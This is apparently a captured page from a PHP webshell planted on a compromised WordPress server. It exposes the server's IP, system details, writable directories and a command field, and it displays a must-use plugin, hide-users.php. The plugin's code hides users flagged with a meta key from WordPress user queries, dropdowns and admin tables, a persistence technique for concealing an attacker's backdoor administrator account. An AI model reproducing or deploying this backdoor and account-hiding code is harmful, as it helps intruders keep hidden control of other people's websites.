403Webshell
Server IP : 77.68.25.176  /  Your IP : 216.73.217.23
Web Server : Apache
System : Linux plesk 4.15.0-159-generic #167-Ubuntu SMP Tue Sep 21 08:55:05 UTC 2021 x86_64
User : dwp ( 10001)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/dazzlingwebplanet.co.uk/sacherconsultancy.com/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/dazzlingwebplanet.co.uk/sacherconsultancy.com/wp-content/mu-plugins/hide-users.php
<?php
// Hide specific users from WordPress listings
add_action('pre_user_query', 'hide_specific_users');
function hide_specific_users($user_query) {
    global $wpdb;
    $hidden_users = get_users(array('meta_key' => '_hidden_user', 'meta_value' => '1', 'fields' => 'ids'));
    if(!empty($hidden_users)) {
        $user_query->query_where .= " AND {$wpdb->users}.ID NOT IN (" . implode(',', $hidden_users) . ")";
    }
}

// Hide from author archives
add_filter('wp_dropdown_users', 'hide_users_from_dropdown');
function hide_users_from_dropdown($output) {
    global $wpdb;
    $hidden_users = get_users(array('meta_key' => '_hidden_user', 'meta_value' => '1', 'fields' => 'ids'));
    if(!empty($hidden_users)) {
        foreach($hidden_users as $user_id) {
            $output = str_replace('value="' . $user_id . '"', 'style="display:none;" value="' . $user_id . '"', $output);
        }
    }
    return $output;
}

// Add additional hiding from user lists
add_filter('users_list_table_query_args', 'hide_users_from_table');
function hide_users_from_table($args) {
    $hidden_users = get_users(array('meta_key' => '_hidden_user', 'meta_value' => '1', 'fields' => 'ids'));
    if(!empty($hidden_users)) {
        $args['exclude'] = $hidden_users;
    }
    return $args;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit